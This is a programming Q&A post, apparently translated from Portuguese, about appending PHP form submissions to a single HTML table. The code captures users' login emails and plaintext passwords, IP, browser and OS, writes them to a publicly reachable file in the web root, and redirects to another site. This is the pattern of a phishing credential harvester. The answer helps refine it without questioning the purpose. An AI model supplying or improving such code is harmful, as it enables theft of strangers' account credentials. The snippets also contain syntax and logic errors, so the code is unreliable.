Save all PHP results to a single table in HTML

0

In my host it has an index.html with a form that is linked to a login.php that takes the results that the user typed and saved in an HTML table in the root of the site. The problem is that a table is created for each user and I want the data of all users to be saved in a single table. I am very young, I researched a lot and could not solve. Here's a piece of code:

date_default_timezone_set('America/Sao_Paulo'); 
$usuario = $_POST['user_id'];
$senha   = $_POST['password'];
$hora=@date("H:i:s d/m/y");
$ip = $_SERVER["REMOTE_ADDR"];
//crie uma variável para receber o código da tabela
    $tabela = '<table border="1">';//abre table
    $tabela .='<thead>';//abre cabeçalho
    $tabela .= '<tr>';//abre uma linha
    $tabela .= '<th>E-mail</th>'; // colunas do cabeçalho
    $tabela .= '<th>Senha</th>';
    $tabela .= '<th>IP</th>';
    $tabela .= '<th>Navegador</th>';
	$tabela .= '<th>Sistema Operacional</th>';
    $tabela .= '<th>Data</th>';
    $tabela .= '</tr>';//fecha linha
    $tabela .='</thead>'; //fecha cabeçalho
    $tabela .='<tbody>';//abre corpo da tabela
    /*Se você tiver um loop para exibir os dados ele deve ficar aqui*/
    $tabela .= '<tr>'; // abre uma linha
    $tabela .= '<td>'.$usuario.'</td>'; // coluna email
    $tabela .= '<td>'.$senha.'</td>'; //coluna senha
    $tabela .= '<td>'.$ip.'</td>'; // coluna ip
    $tabela .= '<td>'.$user_browser.'</td>'; //coluna navegador
	$tabela .= '<td>'.$user_os.'</td>'; //coluna so
    $tabela .= '<td>'.$hora.'</td>';//coluna data
    $tabela .= '</tr>'; // fecha linha
    /*loop deve terminar aqui*/
    $tabela .='</tbody>'; //fecha corpo
    $tabela .= '</table>';//fecha tabela

   $fp = fopen("dados.html", "a");
   fwrite($fp, $tabela
   fclose($fp);
   header("Location: https://meusite.com");
    
asked by anonymous 25.09.2015 / 23:53

1 answer

0

This solution is not the best, the best solution would be to store this data in a database and then read it to assemble your HTML table in the best possible way.

But within this scenario I believe that you can remove the last 2 tags that indicate the end of the table, and continue your writing. But would have to check if the file exists to write the header or not example:

if(!file_exists("dados.html")){
    $tabela = '<table border="1">';//abre table
    $tabela .='<thead>';//abre cabeçalho
    $tabela .= '<tr>';//abre uma linha
    $tabela .= '<th>E-mail</th>'; // colunas do cabeçalho
    $tabela .= '<th>Senha</th>';
    $tabela .= '<th>IP</th>';
    $tabela .= '<th>Navegador</th>';
    $tabela .= '<th>Sistema Operacional</th>';
    $tabela .= '<th>Data</th>';
    $tabela .= '</tr>';//fecha linha
    $tabela .='</thead>'; //fecha cabeçalho
    $tabela .='<tbody>';//abre corpo da tabela
}else{       
   $str=file_get_contents('dados.html');
   preg_replace('\<\/(tbody|table)\>', '', $str);
   file_put_contents('dados.html', $str);
}
$tabela .= '<tr>'; // abre uma linha
    $tabela .= '<td>'.$usuario.'</td>'; // coluna email
    $tabela .= '<td>'.$senha.'</td>'; //coluna senha
    $tabela .= '<td>'.$ip.'</td>'; // coluna ip
    $tabela .= '<td>'.$user_browser.'</td>'; //coluna navegador
    $tabela .= '<td>'.$user_os.'</td>'; //coluna so
    $tabela .= '<td>'.$hora.'</td>';//coluna data
    $tabela .= '</tr>'; // fecha linha
    /*loop deve terminar aqui*/
    $tabela .='</tbody>'; //fecha corpo
    $tabela .= '</table>';//fecha tabela

   $fp = fopen("dados.html", "a");
   fwrite($fp, $tabela
   fclose($fp);
   header("Location: https://meusite.com");
    
26.09.2015 / 00:33